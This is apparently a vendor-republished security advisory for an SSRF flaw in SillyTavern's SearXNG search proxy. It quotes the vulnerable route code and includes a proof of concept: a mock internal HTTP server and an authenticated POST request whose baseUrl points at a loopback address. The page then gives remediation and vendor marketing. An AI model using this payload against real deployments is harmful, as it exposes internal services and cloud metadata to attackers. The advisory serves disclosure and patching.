GHSA-qg89-qwwh-5f3j
HIGHGHSA-qg89-qwwh-5f3j is a high-severity (CVSS 8.5) Server-Side Request Forgery (SSRF) vulnerability in sillytavern. O3 Security confirms whether GHSA-qg89-qwwh-5f3j is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
SillyTavern: SSRF in SearXNG Search Proxy via Unvalidated baseUrl
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-qg89-qwwh-5f3j.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-qg89-qwwh-5f3j plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
sillytavernnpmDescription
Resolution
SillyTavern 1.18.0 added a generic server-side request filter (Private Request Whitelisting). Since we expect users to use the application in a trusted environment, the filter is disabled by default, however it is strongly advised to be enabled and properly configured when an instance is being hosted over a network, as suggested by a console warning message and an officially published security checklist for administrators.
Documentation:
- https://docs.sillytavern.app/administration/config-yaml/#private-address-whitelisting
- https://docs.sillytavern.app/administration/#security-checklist
Note on future SSRF findings
Since the request filter applies to the entire application, no SSRF vulnerabilities against individual endpoints will be accepted, unless it has been proven that a properly configured and enabled filter can be bypassed in an undocumented way. Only advisories disclosed before the 1.18.0 release will be posted if their concern is SSRF.
Summary
SillyTavern 1.17.0 exposes /api/search/searxng, which accepts attacker-controlled baseUrl and uses it directly to build outbound server-side fetches. An authenticated low-privilege user can point baseUrl at an internal or loopback HTTP service and receive the /search response body.
Confirmed version: SillyTavern 1.17.0 from the audited source tree. Broader affected versions and patched versions should be confirmed by the maintainer.
Details
The /api/search/searxng route in src/endpoints/search.js reads baseUrl from request.body and performs no allowlist, IP range, DNS, or scheme validation before making outbound requests.
Core vulnerable path:
router.post('/searxng', async (request, response) => {
const { baseUrl, query, preferences, categories } = request.body;
if (!baseUrl || !query) {
return response.status(400).send('Missing required parameters');
}
const mainPageUrl = new URL(baseUrl);
const mainPageRequest = await fetch(mainPageUrl, { headers: visitHeaders });
...
const searchUrl = new URL('/search', baseUrl);
const searchParams = new URLSearchParams();
searchParams.append('q', query);
...
const searchResult = await fetch(searchUrl, { headers: visitHeaders });
...
const data = await searchResult.text();
return response.send(data);
});
src/server-startup.js mounts this router at /api/search, and src/server-main.js applies login middleware before the API routes. This means the source is a remote authenticated POST request and the sink is server-side fetch() to attacker-selected hosts.
PoC
Attacker prerequisites: a valid SillyTavern web session, or access to a deployment where user accounts are disabled.
Start an internal mock service on the target host:
import http from 'node:http';
http.createServer((req, res) => {
if (req.url === '/') {
res.writeHead(200, { 'Content-Type': 'text/html' });
return res.end('<html><head><link href="/client.css" rel="stylesheet"></head></html>');
}
if (req.url === '/client.css') {
res.writeHead(200, { 'Content-Type': 'text/css' });
return res.end('body{}');
}
if (req.url.startsWith('/search?q=')) {
res.writeHead(200, { 'Content-Type': 'text/plain' });
return res.end('INTERNAL-SEARCH-RESULT');
}
res.writeHead(404);
res.end('not found');
}).listen(9091, '127.0.0.1');
Then send:
POST /api/search/searxng HTTP/1.1
Host: TARGET:8000
Cookie: session-...=...
X-CSRF-Token: <token from /csrf-token>
Content-Type: application/json
{"baseUrl":"http://127.0.0.1:9091/","query":"x"}
Result based on the route logic: SillyTavern first fetches http://127.0.0.1:9091/, then fetches http://127.0.0.1:9091/search?q=x, and returns INTERNAL-SEARCH-RESULT to the attacker.
Impact
This is an authenticated SSRF primitive with arbitrary host and port selection. It can disclose responses from loopback or internal HTTP services reachable from the SillyTavern host and may enable interaction with internal admin panels, development services, cloud metadata endpoints in applicable deployments, or service discovery across private networks.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | sillytavern | all versions | 1.18.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for sillytavern. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update sillytavern to 1.18.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qg89-qwwh-5f3j is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-qg89-qwwh-5f3j is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-qg89-qwwh-5f3j. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-qg89-qwwh-5f3j in your dependencies?
O3 detects GHSA-qg89-qwwh-5f3j across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.